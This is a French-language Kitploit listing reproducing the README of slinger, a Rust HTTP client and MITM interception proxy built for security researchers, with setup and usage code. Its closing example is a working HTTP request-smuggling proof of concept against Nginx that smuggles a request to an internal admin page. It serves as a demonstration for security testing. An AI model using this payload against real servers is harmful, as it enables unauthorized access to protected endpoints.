Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
slinger — Un client HTTP spécifiquement développé pour les chercheurs en sécurité | Kitploit
Outils/GitHubGitHub/emo-crab/slinger
Analyse des VulnérabilitésProxies Web et InterceptionTests de Sécurité des APISécurité WebTests d'Intrusion
GitHubemo-crab/slinger

slinger

Un client HTTP spécifiquement développé pour les chercheurs en sécurité

Voir le dépôt
3026il y a 16 joursVérifié par Kitploit
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Contributors Forks Stargazers Issues MIT License crates io


Logo

slinger(投石器)

Un client HTTP pour Rust conçu pour les hackers. · ·


Explorer la documentation »


Voir la démo
Signaler un bug
Demander une fonctionnalité

À propos du projet

Capture d'écran du produit

Slinger est un espace de travail contenant :

slinger

La bibliothèque client HTTP de base pour Rust, conçue pour les hackers.

  • politique de redirection personnalisable
  • proxys http/https et socks5/socks5h
  • stockage de cookies
  • requête socket brute
  • HTTPS via tls

slinger-mitm

Un proxy Man-in-the-Middle (MITM) avec interception transparente du trafic HTTPS, similaire à Burp Suite.

  • Génération automatique de certificats CA avec une gestion améliorée des certificats (inspiré par hudsucker)
  • Mise en cache des certificats pour de hautes performances
  • Interception transparente du trafic HTTPS à l'aide du backend rustls
  • Interfaces d'interception et de modification du trafic
  • Gestion des numéros de série aléatoires et des décalages d'horloge
  • Réutilise l'implémentation Socket de slinger
  • Dépendances externes minimales

(retour en haut)

Pour commencer

Utiliser slinger (client HTTP)

Cet exemple active certaines fonctionnalités optionnelles, votre Cargo.toml pourrait donc ressembler à ceci :

root@kitploit:~
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }

Et ensuite le code :

root@kitploit:~
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  let resp = slinger::get("https://httpbin.org/get").await?;
  println!("{:?}", resp.text());
  Ok(())
}

Utiliser slinger-mitm (proxy MITM)

Ajoutez à votre Cargo.toml :

root@kitploit:~
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }

Exemple de code :

root@kitploit:~
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let config = MitmConfig::default();
    let proxy = MitmProxy::new(config).await?;
    
    // Add logging interceptor
    let handler = proxy.interceptor_handler();
    let mut h = handler.write().await;
    h.add_request_interceptor(Arc::new(Interceptor::logging()));
    drop(h);
    
    proxy.start("127.0.0.1:8080").await?;
    Ok(())
}

Consultez slinger-mitm/README.md pour plus de détails sur l'utilisation du proxy MITM.

Fonctionnalités

Slinger prend en charge les fonctionnalités optionnelles suivantes :

  • tls - Fonctionnalité TLS de base (active les types et interfaces TLS sans backend spécifique)
  • rustls - Prise en charge HTTPS via Rustls (nécessite tls, implémentation pure Rust)
  • http2 - Prise en charge du protocole HTTP/2 (nécessite un backend TLS)
  • cookie - Prise en charge de la gestion des cookies
  • charset - Prise en charge de l'encodage des caractères
  • serde - Prise en charge de la sérialisation/désérialisation
  • gzip - Prise en charge de la compression Gzip
  • schema - Prise en charge de JSON Schema

Sélection du backend TLS

Pour utiliser TLS, vous devez :

  1. Activer la fonctionnalité tls
  2. Choisir le backend rustls, OU fournir un connecteur TLS personnalisé

Exemples de combinaisons de fonctionnalités :

root@kitploit:~
# Using rustls backend
slinger = { version = "0.2.8", features = ["tls", "rustls"] }

# Using custom TLS backend (requires implementing CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }

Backend TLS personnalisé (par exemple, native-tls, OpenSSL)

Si vous souhaitez utiliser native-tls, OpenSSL ou d'autres bibliothèques TLS, vous pouvez implémenter un connecteur TLS personnalisé. Consultez native_tls_example.rs pour un exemple complet d'intégration de native-tls.

Exemple

  • Nginx - Contrebande HTTP CVE-2019-20372
root@kitploit:~
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};

/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::default().build().unwrap();
  let mut raw = Vec::new();
  // replace \n to \r\n
  for line in RAW.lines() {
    match line {
      Ok(l) => {
        raw.extend(l.as_bytes());
        raw.extend(b"\r\n")
      }
      Err(err) => {
        println!("{:?}", err);
      }
    }
  }
  let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
  let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
  println!("{:?}", record);
  Ok(())
}

Pour plus d'exemples, veuillez vous référer à l'exemple

(retour en haut)

Contribuer

Les contributions sont ce qui rend la communauté open source un endroit si incroyable pour apprendre, inspirer et créer. Toute contribution que vous apportez est grandement appréciée.

Si vous avez une suggestion pour améliorer ce projet, veuillez forker le dépôt et créer une pull request. Vous pouvez également ouvrir simplement un ticket avec le tag « enhancement ». N'oubliez pas de mettre une étoile au projet ! Merci encore !

  1. Forkez le projet
  2. Créez votre branche de fonctionnalité (git checkout -b feature/AmazingFeature)
  3. Commitez vos modifications (git commit -m 'Add some AmazingFeature')
  4. Poussez vers la branche (git push origin feature/AmazingFeature)
  5. Ouvrez une pull request

(retour en haut)

Licence

Distribué sous la licence GPL-3.0-only. Voir LICENSE pour plus d'informations.

(retour en haut)

Contact

Votre nom - @Kali_Team - [email protected]

Lien du projet : https://github.com/emo-crab/slinger

(retour en haut)

Remerciements

  • reqwest

(retour en haut)

Télécharger l’outil